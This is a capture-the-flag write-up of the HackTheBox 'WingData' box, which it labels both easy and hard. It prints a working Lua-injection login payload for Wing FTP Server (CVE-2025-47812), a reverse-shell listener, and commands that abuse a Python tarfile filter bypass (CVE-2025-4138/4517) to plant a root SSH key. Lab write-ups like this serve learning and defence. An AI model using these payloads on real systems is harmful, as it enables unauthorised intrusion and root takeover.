← back to write ups

Write Up

WingData

HackTheBox Easy Linux

Overview

WingData is a hard Linux box that chains two distinct CVEs. Initial access is achieved through an unauthenticated RCE in Wing FTP Server via Lua injection (CVE-2025-47812). Privilege escalation exploits CVE-2025-4138 / CVE-2025-4517 — a critical Python tarfile filter bypass via PATH_MAX overflow — against a sudo-privileged backup restore script, writing an SSH key to /root/.ssh/authorized_keys and obtaining a root shell.

Enumeration

Nmap Scan

nmap -sV -sC -T4 --min-rate 3000 -p- -oN wingdata_scan.txt wingdata.htb

Two ports open:

Further subdomain enumeration revealed ftp.wingdata.htb — a Wing FTP Server web administration interface.

Initial Access — CVE-2025-47812 (Wing FTP RCE)

CVE-2025-47812 is an unauthenticated remote code execution vulnerability in Wing FTP Server versions ≤ 7.4.3. A null byte in the username parameter of the login form allows injecting arbitrary Lua code that is executed server-side. Command output is returned in the response body before the XML:

# Null byte terminates the username string and opens a Lua injection context
POST /login.html
username=anonymous%00]]%0d
local+h+%3d+io.popen(%22id%22)%0d
local+r+%3d+h%3aread(%22*a%22)%0d
h%3aclose()%0d
print(r)%0d
--&password=

A reverse shell was delivered through the same channel, landing a shell as wacky:

nc -lvnp 4444

User flag retrieved from /home/wacky/user.txt.

Post-Exploitation Enumeration

Checking sudo permissions for wacky:

sudo -l
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

The script uses Python's tarfile.extractall() with filter="data" — a supposedly safe extraction mode — to restore client tar archives from /opt/backup_clients/backups/. Since wacky has write access to the backups directory and can supply any filename via the * wildcard, the extraction target is fully attacker-controlled.

Privilege Escalation — CVE-2025-4138 / CVE-2025-4517

These CVEs describe a critical flaw in Python's tarfile filter implementation: os.path.realpath() silently stops resolving symlinks once the expanded path exceeds PATH_MAX (4096 bytes on Linux). The filter uses realpath() to validate that extracted paths stay within the destination directory — but the kernel resolves symlinks independently, creating a TOCTOU gap that allows directory escape.

The exploit builds a chain of 16 symlink/directory pairs with 247-character directory names, inflating the resolved path to ~3968 bytes. A final symlink then appends ../ traversal sequences that realpath() cannot resolve (PATH_MAX exceeded), but the kernel follows normally — escaping to an arbitrary filesystem path:

# Generate the malicious tar
python3 exploit.py \
  --preset ssh-key \
  --payload ~/.ssh/id_ed25519.pub \
  --tar-out backup_1001.tar

# Place it in the backups directory
cp backup_1001.tar /opt/backup_clients/backups/

# Trigger privileged extraction as root
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_1001.tar \
  -r restore_pwn

The extraction writes the SSH public key to /root/.ssh/authorized_keys through the escaped symlink, creating the directory if it doesn't exist.

Root Access

ssh -i ~/.ssh/id_ed25519 root@wingdata.htb

Root shell obtained. Root flag retrieved.

Key Takeaways

CVE-2025-4138 is a sobering reminder that "safe" extraction filters can be bypassed through subtle OS-level behaviour. Any Python application on versions 3.12.0–3.12.10 or 3.13.0–3.13.3 that calls tarfile.extractall(filter="data") on attacker-controlled archives is exploitable. The fix is to upgrade to Python 3.12.11 / 3.13.4 or later.